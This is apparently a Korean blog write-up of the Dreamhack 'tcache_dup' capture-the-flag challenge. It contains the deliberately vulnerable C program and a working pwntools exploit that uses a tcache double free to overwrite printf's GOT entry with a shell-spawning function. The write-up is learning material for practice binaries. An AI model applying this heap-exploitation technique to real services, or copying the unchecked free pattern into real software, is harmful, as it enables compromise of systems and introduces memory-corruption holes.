blackbearwow 2022. 5. 16. 18:15

... 멘탈이 몇번나갔는지 모르겠다...

 

결국 docker와 patchelf 모두 실패했고 혹시나 하는 심정으로 코드를 조금 고쳐서 해봤더니 성공했다.

// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[10];

void alarm_handler() {
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int create(int cnt) {
    int size;

    if(cnt > 10) {
        return -1; 
    }
    printf("Size: ");
    scanf("%d", &size);

    ptr[cnt] = malloc(size);

    if(!ptr[cnt]) {
        return -1;
    }

    printf("Data: ");
    read(0, ptr[cnt], size);
}

int delete() {
    int idx;

    printf("idx: ");
    scanf("%d", &idx);

    if(idx > 10) {
        return -1; 
    }

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}

int main() {
    int idx;
    int cnt = 0;

    initialize();

    while(1) {
        printf("1. Create\n");
        printf("2. Delete\n");
        printf("> ");
        scanf("%d", &idx);

        switch(idx) {
            case 1:
                create(cnt);
                cnt++;
                break;
            case 2:
                delete();
                break;
            default:
                break;
        }
    }

    return 0;
}

malloc과 free함수가 다이다. partial rello라서 got.plt에 쓰기가 가능하다. got주소에 직접 쓰기가 불가능하니 double free bug와 use after free를 써서 got에 get_shell 주소를 덮어씌워 쉘을 획득하자.

해당 libc버전은 https://libc.nullbyte.cat/ 에서 libc6_2.27-3ubuntu1_amd64.so에 해당하는 libc이다. 해당 ld(로더)와 debug파일을 구하는것은 실패했지만 remote서버 작동 방식을 분석하니, tcache에서 key를 도입하기 전이다. tc_idx도 신경쓰지 않고 할당해주는 구버전이다. 

malloc하고 free를 연속 두번 하여 double free로 만든다음 malloc에서 got를 쓰고, malloc한번더, malloc에서 get_shell주소를 넣으면 된다.

# 10번까지 할당 가능한 문제

from pwn import *

p = process("./tcache_dup")
p = remote("host1.dreamhack.games", 15358)
e = ELF("./tcache_dup")

def slog(symbol, addr): return success(symbol + ": " + hex(addr))

def create(size, data):
    p.sendlineafter("> ", "1")
    p.sendlineafter("Size: ", str(size))
    p.sendlineafter("Data: ", data)

def delete(index):
    p.sendlineafter("> ", "2")
    p.sendlineafter("idx: ", str(index))

create(0x30, "aaaa")
delete(0)
delete(0)
#tcachebins 리스트에 2개의 청크 연결

get_shell = 0x400ab0
free_got = e.got["free"]
malloc_got = e.got["malloc"]
printf_got = e.got["printf"]
print("printf_got: ", hex(printf_got))

create(0x30, p64(printf_got))
create(0x30, p64(get_shell))
create(0x30, p64(get_shell))

p.interactive()

주소를 넣을때 printf_got와 malloc_got는 쉘이 얻어지지만 free_got는 쉘이 얻어지지 않는다. 왜인지는 잘 모르겠다...